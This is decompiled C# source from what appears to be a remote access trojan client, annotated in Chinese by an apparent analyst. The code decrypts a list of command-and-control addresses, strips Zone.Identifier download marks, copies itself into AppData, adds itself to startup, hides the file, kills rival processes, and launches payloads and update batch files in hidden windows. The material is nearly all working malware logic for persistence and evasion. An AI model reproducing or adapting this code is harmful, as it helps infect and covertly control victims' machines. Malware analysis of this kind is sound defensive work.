// Token: 0x0600016A RID: 362 RVA: 0x0000634C File Offset: 0x0000454C
public GClass4()
{
base.SetStyle(ControlStyles.SupportsTransparentBackColor, true);
GClass4.smethod_2(this, GClass4.smethod_1("Segoe UI", 8f));
GClass4.smethod_3(this, Color.White);
GClass4.smethod_4(this, Color.Transparent);
GClass4.smethod_6(this, GClass4.smethod_5(this));
}
// Token: 0x060005BB RID: 1467
private static void smethod_2()
{
//判断判断互斥体是否多开，有则失去连接，并且返回
if (!GClass2.smethod_0(GClass35.string_6))
{
GClass0.Disconnect = true;
}
if (GClass0.Disconnect)
{
return;
}
//解密Key
GClass18.smethod_0(GClass35.string_2);
//将上线地址解密放进队列在给实体类复制 （说明支持多地址上线）
Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
//解密远程文件下载路径 %AppData%/Subdir/client.exe
GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
//geoip信息获取ip地理位置国家等信息
GClass34.smethod_0();
//判断上线地址是否失败
if (Class10.gclass25_0.IsEmpty)
{
GClass0.Disconnect = true;
}
if (GClass0.Disconnect)
{
return;
}
//删除当前目录下的后缀为:Zone.Identifier
GClass4.smethod_2(GClass0.CurrentPath);
//判断当前目录是否是下载目录如果不是则进入
if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
{
//互斥体存在则关闭
GClass2.smethod_1();
//运行下载路径的文件
GClass13.smethod_0(Class10.client_0);
return;
}
//用户状态更新线程 五秒更新一次
GClass3.smethod_2();
//添加程序到用户启动项
if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
{
GClass0.AddToStartupFailed = true;
}
//添加并初始化实体类
Class10.smethod_1();
if (GClass35.bool_3)
{
if (Class10.threadStart_0 == null)
{
Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
}
new Thread(Class10.threadStart_0).Start();
return;
}
}
// Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8
public static void smethod_0(Client c, string newFilePath)
{
try
{
GClass4.smethod_2(newFilePath);
byte[] array = File.ReadAllBytes(newFilePath);
if (array[0] != 77 && array[1] != 90)
{
throw new Exception("no pe file");
}
string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2);
if (string.IsNullOrEmpty(text))
{
throw new Exception("Could not create update batch file.");
}
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
FileName = text
};
Process.Start(startInfo);
GClass0.Disconnect = true;
if (GClass35.bool_0 && GClass35.bool_1)
{
GClass16.smethod_2();
}
c.Disconnect();
}
catch (Exception ex)
{
GClass26.DeleteFile(newFilePath);
new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
}
}
// Token: 0x06000077 RID: 119 RVA: 0x00005F3C File Offset: 0x0000413C
public static void smethod_0(Client client)
{
bool flag = false;
if (!Directory.Exists(Path.Combine(GClass35.string_3, GClass35.string_4)))
{
try
{
Directory.CreateDirectory(Path.Combine(GClass35.string_3, GClass35.string_4));
}
catch (Exception)
{
GClass0.Disconnect = true;
return;
}
}
if (File.Exists(GClass0.InstallPath))
{
try
{
File.Delete(GClass0.InstallPath);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(GClass0.InstallPath));
int id = Process.GetCurrentProcess().Id;
foreach (Process process in processesByName)
{
if (process.Id != id)
{
process.Kill();
flag = true;
}
}
}
}
}
if (flag)
{
Thread.Sleep(5000);
}
try
{
File.Copy(GClass0.CurrentPath, GClass0.InstallPath, true);
}
catch
{
GClass0.Disconnect = true;
return;
}
if (GClass35.bool_1 && !GClass16.smethod_1())
{
GClass0.AddToStartupFailed = true;
}
if (GClass35.bool_2)
{
try
{
File.SetAttributes(GClass0.InstallPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
GClass4.smethod_2(GClass0.InstallPath);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
FileName = GClass0.InstallPath
};
try
{
Process.Start(startInfo);
}
catch (Exception)
{
GClass0.Disconnect = true;
return;
}
GClass0.Disconnect = true;
}